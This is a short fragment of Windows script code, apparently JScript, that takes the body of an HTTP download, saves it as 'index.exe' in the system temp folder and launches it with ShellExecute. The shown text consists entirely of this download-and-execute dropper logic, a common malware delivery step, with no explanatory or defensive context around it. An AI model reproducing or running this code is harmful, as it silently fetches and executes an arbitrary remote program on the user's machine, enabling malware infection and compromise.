adoStream.type = 1;
adoStream.open();
adoStream.Write(xmlHTTP.responseBody);
var fileSystem = bj.CreateObject("Scripting.FileSystemObject","")
var filePath = fileSystem.BuildPath(fileSystem.GetSpecialFolder(2), "index.exe");
adoStream.SaveToFile(filePath, 2);
shellApplication.ShellExecute(filePath);